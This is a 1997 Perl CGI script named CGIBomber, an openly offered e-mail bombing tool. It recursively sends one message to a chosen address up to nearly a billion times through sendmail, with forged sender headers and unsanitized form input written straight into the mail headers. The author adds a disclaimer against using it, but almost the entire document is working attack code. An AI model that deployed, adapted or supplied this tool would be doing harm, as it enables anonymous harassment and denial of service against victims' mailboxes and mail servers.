#!/usr/bin/perl
###########################################################
#
# CGIBomber v1.0 By: E-HACK
# Copyright © 1997 E-HACK (ehack@wilter.com)
# All Rights Reserved.
#
# A Wiltered Fire Production
# http://www.wilter.com/wf/
#
###########################################################
#
# Define stuff for your server
# The location of your sendmail program, leave the -t
$mailprog = '/usr/sbin/sendmail -t';
# The URL of this script on your server
$script_url = 'http://www.yourdomain.com/cgi-bin/cgi_bomb.cgi';
# Done changing stuff. Do not change anything below this line!
##############################################################
if($ENV{'REQUEST_METHOD'} eq 'POST')
{
&parse_form;
$sent = 0;
$stop = $input{'stop'};
if($stop eq '') { $stop = 1; }
if($stop < 0) { &error; }
if($stop > 999999999) { &error; }
&return_html;
&send_mail;
}
else
{
&print_form;
}
sub print_form
{
print "Content-type: text/html\n\n";
print "
CGIBomber v1.0
CGIBomber v1.0
CGIBomber is a fully capable e-mail bomber program. This program was written to
show how simple it is to send anonymous e-mail bombs via a cgi script. This program
is not intended to be used (unlike most people, I really mean that). If
you do use this program, I take no responsibility whatsoever. See the disclaimer
below. This program uses large ammounts of system resources, if your sysadmin finds you
running this script you are very likely to lose your account and possibly more.
I do not endorse e-mail bombing or any other type of harassment.
E-HACK
Disclaimer:
THIS IS A DISCLAIMER OF LIABILITY RELATING TO YOUR USE OF THIS SOFTWARE
THIS PROGRAM IS DISTRIBUTED \"AS IS,\" WITHOUT ANY IMPLIED OR EXPRESS WARRANTY
AS TO ITS PERFORMANCE OR AS TO THE RESULTS THAT MAY BE OBTAINED BY ITS USE.
E-HACK AND WILTERED FIRE ARE NOT LIABLE FOR DIRECT, INDIRECT, OR INCIDENTAL
DAMAGES FROM ANY DEFECT, MALFUNCTION, INABLILITY OR OMISSION IN THE SOFTWARE
OR MANUAL OR OTHER RELATED ITEMS AND PROCESSES, INCLUDING BUT NOT LIMITED TO
SERVICE, LOSS OF BUSINESS, ANTICIPATED PROFIT, OR OTHER CONSEQUENTIAL DAMAGES.
CGIBomb v1.0 By: E-HACK
Copyright © 1997 E-HACK (ehack@wilter.com)
All Rights Reserved.
";
}
sub send_mail
{
open (MAIL, "|$mailprog") || die "Can't open $mailprog!\n";
# Headers of the e-mail------------------------------------------
print MAIL "From: $input{'from_name'} \<$input{'from_addy'}\>\n";
print MAIL "Reply-To: $input{'from_addy'}\n";
print MAIL "X-Mailer: $input{'x-mailer'}\n";
print MAIL "To: $input{'to'}\n";
print MAIL "Subject: $input{'subject'}\n";
print MAIL "Content-Type: text/plain; charset=us-ascii\n";
print MAIL "Content-Transfer-Encoding: 7bit\n\n";
# Body of the e-mail---------------------------------------------
print MAIL "$input{'body'}";
close (MAIL);
$sent++;
if($sent >= $stop)
{
exit;
}
else
{
&send_mail;
}
}
sub return_html
{
print "Content-type: text/html\n\n";
print "Mail is being sent";
print "Mail is being sent
\n";
print "You e-mail is being sent.
Here's what you sent:\n";
print "";
print "$input{'custom_headers'}\n";
print "From: $input{'from_name'} \<$input{'from_addy'}\>\n";
print "Reply-To: $input{'from_addy'}\n";
print "X-Mailer: $input{'x-mailer'}\n";
print "To: $input{'to'}\n";
print "Subject: $input{'subject'}\n";
print "Content-Type: text/plain; charset=us-ascii\n";
print "Content-Transfer-Encoding: 7bit\n\n";
# Body of the e-mail---------------------------------------------
print "$input{'body'}";
print "
This e-mail is being sent $input{'stop'} times.\n";
print "
\n";
exit;
}
sub parse_form {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
if (length($buffer) < 5) {
$buffer = $ENV{QUERY_STRING};
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s///g;
$input{$name} = $value;
}
if($input{'to'} =~ /wilter.com/) { &error; }
if($input{'to'} =~ /ilf.net/) { &error; }
if($input{'to'} =~ /mintprimary.com/) { &error; }
if($input{'to'} =~ /ziplink.net/) { &error; }
if($input{'to'} =~ /hotmail.com/) { &error; }
if($input{'to'} =~ /hack101.com/) { &error; }
if($input{'to'} =~ /ted.org/) { &error; }
if($input{'to'} =~ /succeed.net/) { &error; }
}
sub error
{
print "Content-type: text/html\n\n";
print "CGIBomber Error\n";
print "CGIBomber Error
\n";
print "
An error occured while processing the script.\n";
print "
\n";
exit;
}